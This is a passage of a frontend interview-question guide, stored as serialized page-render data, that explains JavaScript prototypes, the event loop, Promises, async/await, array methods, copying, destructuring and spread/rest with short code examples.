true\n",[94,4234,4235],{"class":96,"line":138},[94,4236,289],{"emptyLinePlaceholder":288},[94,4238,4239,4241,4243,4246],{"class":96,"line":164},[94,4240,781],{"class":100},[94,4242,784],{"class":146},[94,4244,4245],{"class":100},"(rabbit.jumps)  ",[94,4247,4248],{"class":790},"// true (own property)\n",[94,4250,4251,4253,4255,4258],{"class":96,"line":174},[94,4252,781],{"class":100},[94,4254,784],{"class":146},[94,4256,4257],{"class":100},"(rabbit.eats)   ",[94,4259,4260],{"class":790},"// true (found on animal via prototype)\n",[11,4262,4263,4264,4266],{},"This is how inheritance works in JavaScript at the language level. The ",[34,4265,370],{}," keyword is just nicer syntax on top of this same mechanism. The big win is flexibility: you can extend or even change the prototype at runtime, which is something class based languages cannot do.",[23,4268,4270],{"id":4269},"_48-what-is-the-difference-between-classical-and-prototypal-inheritance","48. What is the difference between classical and prototypal inheritance?",[11,4272,4273,4274,4277],{},"In ",[1183,4275,4276],{},"classical inheritance"," (Java, C#, C++), classes are blueprints, and instances are created from those blueprints. A class is fundamentally different from an instance, and the relationship is fixed at compile time.",[11,4279,4273,4280,4283,4284,4287],{},[1183,4281,4282],{},"prototypal inheritance"," (JavaScript), there are no real classes under the hood. Objects inherit directly from other objects. A \"class\" in JavaScript is just a function with a ",[34,4285,4286],{},".prototype"," object attached.",[11,4289,4290],{},"The practical effect is that JavaScript is more dynamic. You can add a method to a \"class\" at runtime, and every existing instance will instantly see it, because they all share the same prototype object. That kind of live patching is impossible in a true classical language.",[23,4292,4294],{"id":4293},"_49-what-is-the-event-loop","49. What is the event loop?",[11,4296,4297],{},"JavaScript is single threaded: only one piece of code runs at a time. The event loop is the mechanism that lets it handle asynchronous work (timers, network requests, user events) without blocking the main thread.",[11,4299,4300],{},"There are three main parts:",[483,4302,4303,4310,4320],{},[486,4304,4305,4306,4309],{},"The ",[1183,4307,4308],{},"call stack"," is where synchronous code runs. Each function call pushes a new frame; each return pops it.",[486,4311,4305,4312,4315,4316,4319],{},[1183,4313,4314],{},"task queue"," (sometimes called the macrotask queue) holds callbacks for things like ",[34,4317,4318],{},"setTimeout",", I/O, and UI events.",[486,4321,4305,4322,4325,4326,463,4329,360],{},[1183,4323,4324],{},"microtask queue"," holds callbacks for resolved Promises, ",[34,4327,4328],{},"queueMicrotask",[34,4330,4331],{},"MutationObserver",[11,4333,4334],{},[426,4335],{"alt":4336,"src":4337},"JavaScript event loop diagram","/post-images/top-100-frontend-interview-questions/javascript-event-loop-diagram.png",[11,4339,4340],{},"The loop's algorithm is roughly: while the call stack has work, run it. When it is empty, drain the entire microtask queue. Then take exactly one task from the task queue and run it. Repeat forever.",[11,4342,4343,4344,4347,4348,4351],{},"This is why a ",[34,4345,4346],{},"Promise.resolve().then(...)"," always runs before the next ",[34,4349,4350],{},"setTimeout(..., 0)"," callback, even if both are scheduled at the same time. Microtasks always finish first.",[23,4353,4355],{"id":4354},"_50-what-is-the-difference-between-microtasks-and-macrotasks","50. What is the difference between microtasks and macrotasks?",[11,4357,4358],{},"Both are queues of asynchronous callbacks waiting to run, but they have different priorities and different sources.",[11,4360,4361,4364,4365,4368,4369,4368,4372,4375,4376,463,4378,4380,4381,4384],{},[1183,4362,4363],{},"Microtasks"," come from Promise ",[34,4366,4367],{},".then"," / ",[34,4370,4371],{},".catch",[34,4373,4374],{},".finally"," handlers, ",[34,4377,4328],{},[34,4379,4331],{},". They run as soon as the current synchronous code finishes, and the engine drains the ",[1183,4382,4383],{},"entire"," microtask queue before doing anything else.",[11,4386,4387,4390,4391,346,4393,4396,4397,4400],{},[1183,4388,4389],{},"Macrotasks"," come from ",[34,4392,4318],{},[34,4394,4395],{},"setInterval",", I/O, and DOM events. They run ",[1183,4398,4399],{},"one at a time",", and after each one the engine checks the microtask queue again.",[85,4402,4404],{"className":744,"code":4403,"language":746,"meta":90,"style":90},"console.log('1')\nsetTimeout(() => console.log('2'), 0)\nPromise.resolve().then(() => console.log('3'))\nconsole.log('4')\n\n// Output: 1, 4, 3, 2\n",[34,4405,4406,4419,4444,4475,4488,4492],{"__ignoreMap":90},[94,4407,4408,4410,4412,4414,4417],{"class":96,"line":97},[94,4409,781],{"class":100},[94,4411,784],{"class":146},[94,4413,770],{"class":100},[94,4415,4416],{"class":153},"'1'",[94,4418,776],{"class":100},[94,4420,4421,4423,4426,4428,4430,4432,4434,4437,4440,4442],{"class":96,"line":111},[94,4422,4318],{"class":146},[94,4424,4425],{"class":100},"(() ",[94,4427,3618],{"class":753},[94,4429,3665],{"class":100},[94,4431,784],{"class":146},[94,4433,770],{"class":100},[94,4435,4436],{"class":153},"'2'",[94,4438,4439],{"class":100},"), ",[94,4441,3040],{"class":757},[94,4443,776],{"class":100},[94,4445,4446,4449,4451,4454,4457,4460,4462,4464,4466,4468,4470,4472],{"class":96,"line":122},[94,4447,4448],{"class":757},"Promise",[94,4450,360],{"class":100},[94,4452,4453],{"class":146},"resolve",[94,4455,4456],{"class":100},"().",[94,4458,4459],{"class":146},"then",[94,4461,4425],{"class":100},[94,4463,3618],{"class":753},[94,4465,3665],{"class":100},[94,4467,784],{"class":146},[94,4469,770],{"class":100},[94,4471,838],{"class":153},[94,4473,4474],{"class":100},"))\n",[94,4476,4477,4479,4481,4483,4486],{"class":96,"line":138},[94,4478,781],{"class":100},[94,4480,784],{"class":146},[94,4482,770],{"class":100},[94,4484,4485],{"class":153},"'4'",[94,4487,776],{"class":100},[94,4489,4490],{"class":96,"line":164},[94,4491,289],{"emptyLinePlaceholder":288},[94,4493,4494],{"class":96,"line":174},[94,4495,4496],{"class":790},"// Output: 1, 4, 3, 2\n",[11,4498,4499],{},"The takeaway: a chain of resolved Promises can starve out timers if you are not careful, because microtasks always run first.",[23,4501,4503,4504,346,4506,463,4508,229],{"id":4502},"_51-what-is-the-difference-between-settimeout-setinterval-and-requestanimationframe","51. What is the difference between ",[34,4505,4318],{},[34,4507,4395],{},[34,4509,4510],{},"requestAnimationFrame",[11,4512,4513],{},"All three schedule code to run later, but they aim at different problems.",[483,4515,4516,4528,4539],{},[486,4517,4518,4521,4522,4524,4525,4527],{},[34,4519,4520],{},"setTimeout(fn, ms)"," runs ",[34,4523,3911],{}," once, at least ",[34,4526,2481],{}," milliseconds from now. It can be delayed by other work, so it is an \"at least\" guarantee, not \"exactly.\"",[486,4529,4530,4521,4533,4535,4536,4538],{},[34,4531,4532],{},"setInterval(fn, ms)",[34,4534,3911],{}," repeatedly, roughly every ",[34,4537,2481],{}," milliseconds. If the function takes longer than the interval, calls can stack up.",[486,4540,4541,4521,4544,4546],{},[34,4542,4543],{},"requestAnimationFrame(fn)",[34,4545,3911],{}," right before the browser's next paint, which is usually around 60 times per second on a 60Hz screen. It pauses automatically when the tab is in the background.",[11,4548,4549,4550,4552],{},"For animations, always use ",[34,4551,4510],{},". It is synced to the display, it pauses when the user is not looking, and it gives you the best frame rate for the least battery.",[23,4554,4556],{"id":4555},"_52-what-is-a-promise","52. What is a Promise?",[11,4558,4559],{},"A Promise is an object that represents a value that does not exist yet but will (or will fail to) at some point. Think of it like a receipt: the food is not ready, but you have something concrete to refer to it by.",[11,4561,4562,4563,4566,4567,4570,4571,4574],{},"A Promise is in one of three states: ",[1183,4564,4565],{},"pending"," (still waiting), ",[1183,4568,4569],{},"fulfilled"," (succeeded with a value), or ",[1183,4572,4573],{},"rejected"," (failed with a reason). Once it settles (fulfilled or rejected), it stays that way forever.",[85,4576,4578],{"className":744,"code":4577,"language":746,"meta":90,"style":90},"const p = new Promise((resolve, reject) => {\n    setTimeout(() => resolve(42), 1000)\n})\n\np.then(value => console.log(value))   // 42 after 1 second\n .catch(err => console.error(err))\n",[34,4579,4580,4611,4635,4640,4644,4668],{"__ignoreMap":90},[94,4581,4582,4584,4587,4589,4592,4595,4598,4600,4602,4605,4607,4609],{"class":96,"line":97},[94,4583,754],{"class":753},[94,4585,4586],{"class":757}," p",[94,4588,761],{"class":753},[94,4590,4591],{"class":753}," new",[94,4593,4594],{"class":757}," Promise",[94,4596,4597],{"class":100},"((",[94,4599,4453],{"class":2039},[94,4601,346],{"class":100},[94,4603,4604],{"class":2039},"reject",[94,4606,3615],{"class":100},[94,4608,3618],{"class":753},[94,4610,1289],{"class":100},[94,4612,4613,4616,4618,4620,4623,4625,4628,4630,4633],{"class":96,"line":111},[94,4614,4615],{"class":146},"    setTimeout",[94,4617,4425],{"class":100},[94,4619,3618],{"class":753},[94,4621,4622],{"class":146}," resolve",[94,4624,770],{"class":100},[94,4626,4627],{"class":757},"42",[94,4629,4439],{"class":100},[94,4631,4632],{"class":757},"1000",[94,4634,776],{"class":100},[94,4636,4637],{"class":96,"line":122},[94,4638,4639],{"class":100},"})\n",[94,4641,4642],{"class":96,"line":138},[94,4643,289],{"emptyLinePlaceholder":288},[94,4645,4646,4649,4651,4653,4656,4658,4660,4662,4665],{"class":96,"line":164},[94,4647,4648],{"class":100},"p.",[94,4650,4459],{"class":146},[94,4652,770],{"class":100},[94,4654,4655],{"class":2039},"value",[94,4657,3641],{"class":753},[94,4659,3665],{"class":100},[94,4661,784],{"class":146},[94,4663,4664],{"class":100},"(value))   ",[94,4666,4667],{"class":790},"// 42 after 1 second\n",[94,4669,4670,4673,4676,4678,4681,4683,4685,4688],{"class":96,"line":174},[94,4671,4672],{"class":100}," .",[94,4674,4675],{"class":146},"catch",[94,4677,770],{"class":100},[94,4679,4680],{"class":2039},"err",[94,4682,3641],{"class":753},[94,4684,3665],{"class":100},[94,4686,4687],{"class":146},"error",[94,4689,4690],{"class":100},"(err))\n",[11,4692,4693,4694,4697,4698,4701,4702,4704,4705,4707,4708,4711,4712,360],{},"You almost never write ",[34,4695,4696],{},"new Promise"," yourself in modern code. You consume Promises returned by ",[34,4699,4700],{},"fetch",", by libraries, and by ",[34,4703,477],{}," functions. The point of having a standard Promise object is that asynchronous code becomes composable: you can chain ",[34,4706,4367],{},", combine many Promises with ",[34,4709,4710],{},"Promise.all",", and use them with ",[34,4713,4714],{},"await",[23,4716,4718,4719,229],{"id":4717},"_53-what-is-async-await","53. What is ",[34,4720,4721],{},"async / await",[11,4723,4724,4726,4727,4730],{},[34,4725,4721],{}," is syntactic sugar over Promises that lets you write asynchronous code that ",[1183,4728,4729],{},"looks"," synchronous. Under the hood it is still Promises, but the code reads top to bottom.",[85,4732,4734],{"className":744,"code":4733,"language":746,"meta":90,"style":90},"async function getUser(id) {\n    const res = await fetch(`/users/${id}`)\n    if (!res.ok) throw new Error('Failed')\n    const user = await res.json()\n    return user\n}\n",[34,4735,4736,4751,4778,4806,4824,4831],{"__ignoreMap":90},[94,4737,4738,4740,4742,4745,4747,4749],{"class":96,"line":97},[94,4739,477],{"class":753},[94,4741,3373],{"class":753},[94,4743,4744],{"class":146}," getUser",[94,4746,770],{"class":100},[94,4748,367],{"class":2039},[94,4750,2265],{"class":100},[94,4752,4753,4756,4759,4761,4764,4767,4769,4772,4774,4776],{"class":96,"line":111},[94,4754,4755],{"class":753},"    const",[94,4757,4758],{"class":757}," res",[94,4760,761],{"class":753},[94,4762,4763],{"class":753}," await",[94,4765,4766],{"class":146}," fetch",[94,4768,770],{"class":100},[94,4770,4771],{"class":153},"`/users/${",[94,4773,367],{"class":100},[94,4775,4043],{"class":153},[94,4777,776],{"class":100},[94,4779,4780,4783,4785,4788,4791,4794,4796,4799,4801,4804],{"class":96,"line":122},[94,4781,4782],{"class":753},"    if",[94,4784,2253],{"class":100},[94,4786,4787],{"class":753},"!",[94,4789,4790],{"class":100},"res.ok) ",[94,4792,4793],{"class":753},"throw",[94,4795,4591],{"class":753},[94,4797,4798],{"class":146}," Error",[94,4800,770],{"class":100},[94,4802,4803],{"class":153},"'Failed'",[94,4805,776],{"class":100},[94,4807,4808,4810,4812,4814,4816,4819,4822],{"class":96,"line":138},[94,4809,4755],{"class":753},[94,4811,3833],{"class":757},[94,4813,761],{"class":753},[94,4815,4763],{"class":753},[94,4817,4818],{"class":100}," res.",[94,4820,4821],{"class":146},"json",[94,4823,3420],{"class":100},[94,4825,4826,4828],{"class":96,"line":164},[94,4827,3370],{"class":753},[94,4829,4830],{"class":100}," user\n",[94,4832,4833],{"class":96,"line":174},[94,4834,1307],{"class":100},[11,4836,4837],{},"Two rules:",[483,4839,4840,4852],{},[486,4841,2521,4842,4844,4845,4848,4849,360],{},[34,4843,477],{}," function always returns a Promise. If you ",[34,4846,4847],{},"return 5",", callers actually get ",[34,4850,4851],{},"Promise.resolve(5)",[486,4853,4854,4856,4857,4859],{},[34,4855,4714],{}," can only be used inside an ",[34,4858,477],{}," function (or at the top level of a module). It pauses the function until the Promise settles, then continues with the resolved value or throws if it rejected.",[11,4861,4862,4863,4866,4867,4869],{},"You handle errors with regular ",[34,4864,4865],{},"try / catch",", which is one of the biggest readability wins compared to ",[34,4868,4367],{}," chains.",[23,4871,4873,4874,346,4876,346,4879,463,4882,229],{"id":4872},"_54-what-is-the-difference-between-promiseall-promiseallsettled-promiserace-and-promiseany","54. What is the difference between ",[34,4875,4710],{},[34,4877,4878],{},"Promise.allSettled",[34,4880,4881],{},"Promise.race",[34,4883,4884],{},"Promise.any",[11,4886,4887],{},"All four take a list of Promises and return a single Promise, but they wait for different conditions.",[497,4889,4890,4906],{},[500,4891,4892],{},[503,4893,4894,4897,4900,4903],{},[506,4895,4896],{},"Method",[506,4898,4899],{},"Resolves when",[506,4901,4902],{},"Rejects when",[506,4904,4905],{},"Result",[519,4907,4908,4929,4947,4962],{},[503,4909,4910,4914,4920,4926],{},[524,4911,4912],{},[34,4913,4710],{},[524,4915,4916,4919],{},[1183,4917,4918],{},"All"," fulfill",[524,4921,4922,4925],{},[1183,4923,4924],{},"Any"," rejects",[524,4927,4928],{},"Array of results",[503,4930,4931,4935,4938,4941],{},[524,4932,4933],{},[34,4934,4878],{},[524,4936,4937],{},"All settle (fulfill or reject)",[524,4939,4940],{},"Never",[524,4942,4943,4944],{},"Array of ",[34,4945,4946],{},"{status, value/reason}",[503,4948,4949,4953,4956,4959],{},[524,4950,4951],{},[34,4952,4881],{},[524,4954,4955],{},"First settles, either way",[524,4957,4958],{},"First rejects (if it rejects first)",[524,4960,4961],{},"Single result",[503,4963,4964,4968,4971,4974],{},[524,4965,4966],{},[34,4967,4884],{},[524,4969,4970],{},"First fulfills",[524,4972,4973],{},"All reject",[524,4975,4961],{},[11,4977,4978,4979,4981,4982,4984,4985,4987,4988,4990],{},"In practice: ",[34,4980,4710],{}," is what you reach for most often, when you need everything to succeed. ",[34,4983,4878],{}," is for \"do all of these in parallel and report back what happened,\" even if some fail. ",[34,4986,4881],{}," is for timeouts and \"first to respond wins\" patterns. ",[34,4989,4884],{}," is for \"I have multiple sources, give me whichever succeeds first.\"",[23,4992,4994,4995,346,4998,346,5001,463,5004,229],{"id":4993},"_55-what-is-the-difference-between-foreach-map-filter-and-reduce","55. What is the difference between ",[34,4996,4997],{},"forEach",[34,4999,5000],{},"map",[34,5002,5003],{},"filter",[34,5005,5006],{},"reduce",[11,5008,5009],{},"These are four array methods you will reach for constantly. Each one takes a callback and runs it on every element, but what they do with the result is different.",[483,5011,5012,5017,5022,5027],{},[486,5013,5014,5016],{},[34,5015,4997],{}," runs the callback for each element and returns nothing. Use it only for side effects (logging, mutating something outside).",[486,5018,5019,5021],{},[34,5020,5000],{}," returns a new array of the same length, where each element is the return value of the callback applied to the original element.",[486,5023,5024,5026],{},[34,5025,5003],{}," returns a new array containing only the elements for which the callback returned a truthy value.",[486,5028,5029,5031],{},[34,5030,5006],{}," walks the array and accumulates a single value (a sum, a max, an object, anything).",[85,5033,5035],{"className":744,"code":5034,"language":746,"meta":90,"style":90},"const nums = [1, 2, 3, 4]\n\nnums.forEach(n => console.log(n))         // logs 1, 2, 3, 4\nconst doubled = nums.map(n => n * 2)      // [2, 4, 6, 8]\nconst evens = nums.filter(n => n % 2 === 0)  // [2, 4]\nconst sum = nums.reduce((acc, n) => acc + n, 0)  // 10\n",[34,5036,5037,5069,5073,5097,5130,5166],{"__ignoreMap":90},[94,5038,5039,5041,5044,5046,5049,5051,5053,5056,5058,5061,5063,5066],{"class":96,"line":97},[94,5040,754],{"class":753},[94,5042,5043],{"class":757}," nums",[94,5045,761],{"class":753},[94,5047,5048],{"class":100}," [",[94,5050,2591],{"class":757},[94,5052,346],{"class":100},[94,5054,5055],{"class":757},"2",[94,5057,346],{"class":100},[94,5059,5060],{"class":757},"3",[94,5062,346],{"class":100},[94,5064,5065],{"class":757},"4",[94,5067,5068],{"class":100},"]\n",[94,5070,5071],{"class":96,"line":111},[94,5072,289],{"emptyLinePlaceholder":288},[94,5074,5075,5078,5080,5082,5085,5087,5089,5091,5094],{"class":96,"line":122},[94,5076,5077],{"class":100},"nums.",[94,5079,4997],{"class":146},[94,5081,770],{"class":100},[94,5083,5084],{"class":2039},"n",[94,5086,3641],{"class":753},[94,5088,3665],{"class":100},[94,5090,784],{"class":146},[94,5092,5093],{"class":100},"(n))         ",[94,5095,5096],{"class":790},"// logs 1, 2, 3, 4\n",[94,5098,5099,5101,5104,5106,5109,5111,5113,5115,5117,5119,5121,5124,5127],{"class":96,"line":138},[94,5100,754],{"class":753},[94,5102,5103],{"class":757}," doubled",[94,5105,761],{"class":753},[94,5107,5108],{"class":100}," nums.",[94,5110,5000],{"class":146},[94,5112,770],{"class":100},[94,5114,5084],{"class":2039},[94,5116,3641],{"class":753},[94,5118,3644],{"class":100},[94,5120,1272],{"class":753},[94,5122,5123],{"class":757}," 2",[94,5125,5126],{"class":100},")      ",[94,5128,5129],{"class":790},"// [2, 4, 6, 8]\n",[94,5131,5132,5134,5137,5139,5141,5143,5145,5147,5149,5151,5153,5155,5157,5160,5163],{"class":96,"line":164},[94,5133,754],{"class":753},[94,5135,5136],{"class":757}," evens",[94,5138,761],{"class":753},[94,5140,5108],{"class":100},[94,5142,5003],{"class":146},[94,5144,770],{"class":100},[94,5146,5084],{"class":2039},[94,5148,3641],{"class":753},[94,5150,3644],{"class":100},[94,5152,1521],{"class":753},[94,5154,5123],{"class":757},[94,5156,3056],{"class":753},[94,5158,5159],{"class":757}," 0",[94,5161,5162],{"class":100},")  ",[94,5164,5165],{"class":790},"// [2, 4]\n",[94,5167,5168,5170,5173,5175,5177,5179,5181,5184,5186,5188,5190,5192,5195,5197,5200,5202,5204],{"class":96,"line":174},[94,5169,754],{"class":753},[94,5171,5172],{"class":757}," sum",[94,5174,761],{"class":753},[94,5176,5108],{"class":100},[94,5178,5006],{"class":146},[94,5180,4597],{"class":100},[94,5182,5183],{"class":2039},"acc",[94,5185,346],{"class":100},[94,5187,5084],{"class":2039},[94,5189,3615],{"class":100},[94,5191,3618],{"class":753},[94,5193,5194],{"class":100}," acc ",[94,5196,3623],{"class":753},[94,5198,5199],{"class":100}," n, ",[94,5201,3040],{"class":757},[94,5203,5162],{"class":100},[94,5205,5206],{"class":790},"// 10\n",[11,5208,5209],{},"Reduce intimidates beginners, but it is just \"walk through and build up an answer.\" Once it clicks, it becomes the swiss army knife of array methods.",[23,5211,5213],{"id":5212},"_56-what-is-the-difference-between-shallow-copy-and-deep-copy","56. What is the difference between shallow copy and deep copy?",[11,5215,1748,5216,5219,5220,5223],{},[1183,5217,5218],{},"shallow copy"," duplicates only the top level of an object. Any nested objects inside it are ",[1183,5221,5222],{},"still shared"," between the original and the copy. So if you change a nested value through the copy, the original sees it too.",[11,5225,1748,5226,5229],{},[1183,5227,5228],{},"deep copy"," duplicates everything recursively, so the copy is fully independent.",[85,5231,5233],{"className":744,"code":5232,"language":746,"meta":90,"style":90},"const a = { x: 1, nested: { y: 2 } }\n\nconst shallow = { ...a }\nshallow.nested.y = 99\nconsole.log(a.nested.y)  // 99 (oops, shared!)\n\nconst deep = structuredClone(a)\ndeep.nested.y = 5\nconsole.log(a.nested.y)  // 99 still, but deep.nested.y is 5 (independent)\n",[34,5234,5235,5257,5261,5277,5287,5299,5303,5318,5327],{"__ignoreMap":90},[94,5236,5237,5239,5242,5244,5247,5249,5252,5254],{"class":96,"line":97},[94,5238,754],{"class":753},[94,5240,5241],{"class":757}," a",[94,5243,761],{"class":753},[94,5245,5246],{"class":100}," { x: ",[94,5248,2591],{"class":757},[94,5250,5251],{"class":100},", nested: { y: ",[94,5253,5055],{"class":757},[94,5255,5256],{"class":100}," } }\n",[94,5258,5259],{"class":96,"line":111},[94,5260,289],{"emptyLinePlaceholder":288},[94,5262,5263,5265,5268,5270,5272,5274],{"class":96,"line":122},[94,5264,754],{"class":753},[94,5266,5267],{"class":757}," shallow",[94,5269,761],{"class":753},[94,5271,2551],{"class":100},[94,5273,3191],{"class":753},[94,5275,5276],{"class":100},"a }\n",[94,5278,5279,5282,5284],{"class":96,"line":138},[94,5280,5281],{"class":100},"shallow.nested.y ",[94,5283,150],{"class":753},[94,5285,5286],{"class":757}," 99\n",[94,5288,5289,5291,5293,5296],{"class":96,"line":164},[94,5290,781],{"class":100},[94,5292,784],{"class":146},[94,5294,5295],{"class":100},"(a.nested.y)  ",[94,5297,5298],{"class":790},"// 99 (oops, shared!)\n",[94,5300,5301],{"class":96,"line":174},[94,5302,289],{"emptyLinePlaceholder":288},[94,5304,5305,5307,5310,5312,5315],{"class":96,"line":188},[94,5306,754],{"class":753},[94,5308,5309],{"class":757}," deep",[94,5311,761],{"class":753},[94,5313,5314],{"class":146}," structuredClone",[94,5316,5317],{"class":100},"(a)\n",[94,5319,5320,5323,5325],{"class":96,"line":203},[94,5321,5322],{"class":100},"deep.nested.y ",[94,5324,150],{"class":753},[94,5326,2995],{"class":757},[94,5328,5329,5331,5333,5335],{"class":96,"line":1695},[94,5330,781],{"class":100},[94,5332,784],{"class":146},[94,5334,5295],{"class":100},[94,5336,5337],{"class":790},"// 99 still, but deep.nested.y is 5 (independent)\n",[11,5339,5340,5341,346,5344,346,5347,346,5350,5353,5354,5357,5358,5361],{},"Common shallow copy methods: ",[34,5342,5343],{},"{...obj}",[34,5345,5346],{},"Object.assign({}, obj)",[34,5348,5349],{},"Array.from(arr)",[34,5351,5352],{},"arr.slice()",". For deep copies, the modern, built in answer is ",[34,5355,5356],{},"structuredClone(value)",". You will sometimes still see ",[34,5359,5360],{},"JSON.parse(JSON.stringify(value))",", which works for plain data but throws on functions, dates, sets, maps, and circular references.",[23,5363,5365],{"id":5364},"_57-what-is-destructuring","57. What is destructuring?",[11,5367,5368],{},"Destructuring is a syntax for unpacking values from arrays or objects into individual variables, in one line.",[85,5370,5372],{"className":744,"code":5371,"language":746,"meta":90,"style":90},"// Array destructuring (positional)\nconst [first, second] = [1, 2]\nconst [a, , c] = [10, 20, 30]   // skip middle\n\n// Object destructuring (by name)\nconst { name, age = 18 } = user            // age defaults to 18 if undefined\nconst { name: userName } = user            // rename to userName\nconst { address: { city } } = user         // nested\n\n// Function parameters\nfunction greet({ name, greeting = 'Hi' }) {\n    console.log(`${greeting}, ${name}`)\n}\n",[34,5373,5374,5379,5408,5447,5451,5456,5484,5506,5532,5536,5541,5563,5584],{"__ignoreMap":90},[94,5375,5376],{"class":96,"line":97},[94,5377,5378],{"class":790},"// Array destructuring (positional)\n",[94,5380,5381,5383,5385,5388,5390,5393,5396,5398,5400,5402,5404,5406],{"class":96,"line":111},[94,5382,754],{"class":753},[94,5384,5048],{"class":100},[94,5386,5387],{"class":757},"first",[94,5389,346],{"class":100},[94,5391,5392],{"class":757},"second",[94,5394,5395],{"class":100},"] ",[94,5397,150],{"class":753},[94,5399,5048],{"class":100},[94,5401,2591],{"class":757},[94,5403,346],{"class":100},[94,5405,5055],{"class":757},[94,5407,5068],{"class":100},[94,5409,5410,5412,5414,5416,5419,5422,5424,5426,5428,5431,5433,5436,5438,5441,5444],{"class":96,"line":122},[94,5411,754],{"class":753},[94,5413,5048],{"class":100},[94,5415,3607],{"class":757},[94,5417,5418],{"class":100},", , ",[94,5420,5421],{"class":757},"c",[94,5423,5395],{"class":100},[94,5425,150],{"class":753},[94,5427,5048],{"class":100},[94,5429,5430],{"class":757},"10",[94,5432,346],{"class":100},[94,5434,5435],{"class":757},"20",[94,5437,346],{"class":100},[94,5439,5440],{"class":757},"30",[94,5442,5443],{"class":100},"]   ",[94,5445,5446],{"class":790},"// skip middle\n",[94,5448,5449],{"class":96,"line":138},[94,5450,289],{"emptyLinePlaceholder":288},[94,5452,5453],{"class":96,"line":164},[94,5454,5455],{"class":790},"// Object destructuring (by name)\n",[94,5457,5458,5460,5462,5464,5466,5469,5471,5474,5476,5478,5481],{"class":96,"line":174},[94,5459,754],{"class":753},[94,5461,2551],{"class":100},[94,5463,4026],{"class":757},[94,5465,346],{"class":100},[94,5467,5468],{"class":757},"age",[94,5470,761],{"class":753},[94,5472,5473],{"class":757}," 18",[94,5475,3215],{"class":100},[94,5477,150],{"class":753},[94,5479,5480],{"class":100}," user            ",[94,5482,5483],{"class":790},"// age defaults to 18 if undefined\n",[94,5485,5486,5488,5490,5492,5494,5497,5499,5501,5503],{"class":96,"line":188},[94,5487,754],{"class":753},[94,5489,2551],{"class":100},[94,5491,4026],{"class":2039},[94,5493,1297],{"class":100},[94,5495,5496],{"class":757},"userName",[94,5498,3215],{"class":100},[94,5500,150],{"class":753},[94,5502,5480],{"class":100},[94,5504,5505],{"class":790},"// rename to userName\n",[94,5507,5508,5510,5512,5515,5518,5521,5524,5526,5529],{"class":96,"line":203},[94,5509,754],{"class":753},[94,5511,2551],{"class":100},[94,5513,5514],{"class":2039},"address",[94,5516,5517],{"class":100},": { ",[94,5519,5520],{"class":757},"city",[94,5522,5523],{"class":100}," } } ",[94,5525,150],{"class":753},[94,5527,5528],{"class":100}," user         ",[94,5530,5531],{"class":790},"// nested\n",[94,5533,5534],{"class":96,"line":1695},[94,5535,289],{"emptyLinePlaceholder":288},[94,5537,5538],{"class":96,"line":1702},[94,5539,5540],{"class":790},"// Function parameters\n",[94,5542,5543,5545,5547,5550,5552,5554,5556,5558,5560],{"class":96,"line":1714},[94,5544,2922],{"class":753},[94,5546,2925],{"class":146},[94,5548,5549],{"class":100},"({ ",[94,5551,4026],{"class":2039},[94,5553,346],{"class":100},[94,5555,4021],{"class":2039},[94,5557,761],{"class":753},[94,5559,2934],{"class":153},[94,5561,5562],{"class":100}," }) {\n",[94,5564,5565,5567,5569,5571,5574,5576,5578,5580,5582],{"class":96,"line":1726},[94,5566,2974],{"class":100},[94,5568,784],{"class":146},[94,5570,770],{"class":100},[94,5572,5573],{"class":153},"`${",[94,5575,4021],{"class":100},[94,5577,4038],{"class":153},[94,5579,4026],{"class":100},[94,5581,4043],{"class":153},[94,5583,776],{"class":100},[94,5585,5587],{"class":96,"line":5586},13,[94,5588,1307],{"class":100},[11,5590,5591],{},"It cleans up a huge amount of boilerplate, especially when working with config objects or function parameters. Modern frameworks lean heavily on destructuring in component props, hook returns, and route params.",[23,5593,5595],{"id":5594},"_58-what-is-the-spread-operator-and-rest-parameter","58. What is the spread operator and rest parameter?",[11,5597,5598,5599,5601],{},"They look identical (",[34,5600,3191],{},") but do opposite things, depending on where you write them.",[11,5603,5604,5607,5608,5611],{},[1183,5605,5606],{},"Spread"," ",[1183,5609,5610],{},"expands"," an iterable into individual elements. You use it inside a literal or a call.",[85,5613,5615],{"className":744,"code":5614,"language":746,"meta":90,"style":90},"const arr = [1, 2, 3]\nconst more = [0, ...arr, 4]                  // [0, 1, 2, 3, 4]\nconsole.log(Math.max(...arr))                // 3\n\nconst a = { x: 1 }\nconst b = { ...a, y: 2 }                     // { x: 1, y: 2 }\n",[34,5616,5617,5640,5668,5689,5693,5707],{"__ignoreMap":90},[94,5618,5619,5621,5624,5626,5628,5630,5632,5634,5636,5638],{"class":96,"line":97},[94,5620,754],{"class":753},[94,5622,5623],{"class":757}," arr",[94,5625,761],{"class":753},[94,5627,5048],{"class":100},[94,5629,2591],{"class":757},[94,5631,346],{"class":100},[94,5633,5055],{"class":757},[94,5635,346],{"class":100},[94,5637,5060],{"class":757},[94,5639,5068],{"class":100},[94,5641,5642,5644,5647,5649,5651,5653,5655,5657,5660,5662,5665],{"class":96,"line":111},[94,5643,754],{"class":753},[94,5645,5646],{"class":757}," more",[94,5648,761],{"class":753},[94,5650,5048],{"class":100},[94,5652,3040],{"class":757},[94,5654,346],{"class":100},[94,5656,3191],{"class":753},[94,5658,5659],{"class":100},"arr, ",[94,5661,5065],{"class":757},[94,5663,5664],{"class":100},"]                  ",[94,5666,5667],{"class":790},"// [0, 1, 2, 3, 4]\n",[94,5669,5670,5672,5674,5677,5680,5682,5684,5687],{"class":96,"line":122},[94,5671,781],{"class":100},[94,5673,784],{"class":146},[94,5675,5676],{"class":100},"(Math.",[94,5678,5679],{"class":146},"max",[94,5681,770],{"class":100},[94,5683,3191],{"class":753},[94,5685,5686],{"class":100},"arr))                ",[94,5688,3449],{"class":790},[94,5690,5691],{"class":96,"line":138},[94,5692,289],{"emptyLinePlaceholder":288},[94,5694,5695,5697,5699,5701,5703,5705],{"class":96,"line":164},[94,5696,754],{"class":753},[94,5698,5241],{"class":757},[94,5700,761],{"class":753},[94,5702,5246],{"class":100},[94,5704,2591],{"class":757},[94,5706,2937],{"class":100},[94,5708,5709,5711,5714,5716,5718,5720,5723,5725,5728],{"class":96,"line":174},[94,5710,754],{"class":753},[94,5712,5713],{"class":757}," b",[94,5715,761],{"class":753},[94,5717,2551],{"class":100},[94,5719,3191],{"class":753},[94,5721,5722],{"class":100},"a, y: ",[94,5724,5055],{"class":757},[94,5726,5727],{"class":100}," }                     ",[94,5729,5730],{"class":790},"// { x: 1, y: 2 }\n",[11,5732,5733,5607,5736,5739],{},[1183,5734,5735],{},"Rest",[1183,5737,5738],{},"collects"," the remaining elements into an array. You use it in a parameter list or destructuring 